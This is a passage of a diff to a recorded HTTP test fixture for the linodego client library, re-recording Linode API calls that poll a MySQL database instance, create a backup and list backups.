3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -21845,21 +26969,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "2" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:14:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter + - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -21868,7 +26997,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -21884,10 +27013,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"data": [], "page": 1, "pages": 1, "results": 0}' + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -21900,23 +27037,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "49" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:15:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -21925,7 +27065,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -21941,10 +27081,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"data": [], "page": 1, "pages": 1, "results": 0}' + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "active", + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {"172.105.36.137": "primary", "172.105.63.12": + "failover", "194.195.119.223": "failover"}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -21957,23 +27106,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "49" + - "800" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:15:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -21982,14 +27134,14 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: "" + body: '{"label":"mysqlbackupforlinodego","target":"primary"}' form: {} headers: Accept: @@ -21998,10 +27150,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups - method: GET + url: https://api.linode.com/v4beta/databases/mysql/instances/133362/backups + method: POST response: - body: '{"data": [], "page": 1, "pages": 1, "results": 0}' + body: '{}' headers: Access-Control-Allow-Credentials: - "true" @@ -22014,21 +27166,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "49" + - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:15:27 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: @@ -22039,7 +27193,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -22055,7 +27209,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups + url: https://api.linode.com/v4beta/databases/mysql/instances/133362/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' @@ -22071,16 +27225,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:15:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -22096,7 +27253,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -22112,7 +27269,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups + url: https://api.linode.com/v4beta/databases/mysql/instances/133362/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' @@ -22128,16 +27285,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:15:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -22153,7 +27313,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -22169,7 +27329,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups + url: https://api.linode.com/v4beta/databases/mysql/instances/133362/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' @@ -22185,16 +27345,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:16:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -22210,7 +27373,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -22226,7 +27389,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups + url: https://api.linode.com/v4beta/databases/mysql/instances/133362/backups method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' @@ -22242,16 +27405,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:16:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -22267,7 +27433,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -22283,11 +27449,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups + url: https://api.linode.com/v4beta/databases/mysql/instances/133362/backups method: GET response: - body: '{"data": [{"id": 807908, "type": "snapshot", "label": "mysqlbackupforlinodego", - "created": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' + body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" @@ -22300,16 +27465,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "152" + - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:16:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -22325,7 +27493,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -22341,11 +27509,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups/807908 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362/backups method: GET response: - body: '{"id": 807908, "type": "snapshot", "label": "mysqlbackupforlinodego", "created": - "2018-01-02T03:04:05"}' + body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" @@ -22358,16 +27525,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "103" + - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:16:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -22383,7 +27553,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -22399,17 +27569,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362/backups method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" @@ -22422,23 +27585,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "650" + - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:17:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -22447,7 +27613,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -22463,17 +27629,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362/backups method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" @@ -22486,23 +27645,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "650" + - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:17:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -22511,7 +27673,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -22527,17 +27689,11 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362/backups method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 1425321, "type": "snapshot", "label": "mysqlbackupforlinodego", + "created": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -22550,23 +27706,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "650" + - "153" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:17:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -22575,7 +27734,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -22591,17 +27750,11 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362/backups/1425321 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"id": 1425321, "type": "snapshot", "label": "mysqlbackupforlinodego", + "created": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" @@ -22614,23 +27767,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "650" + - "104" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:17:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -22639,7 +27795,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -22655,17 +27811,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -22678,16 +27835,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "650" + - "717" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:18:00 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -22703,7 +27863,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -22719,17 +27879,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -22742,16 +27903,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "650" + - "717" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:18:15 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -22767,7 +27931,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -22783,17 +27947,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -22806,16 +27971,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "650" + - "717" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:18:30 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -22831,7 +27999,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -22847,17 +28015,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "backing_up", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -22870,16 +28039,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "650" + - "717" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:18:45 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -22895,7 +28067,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -22911,17 +28083,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": 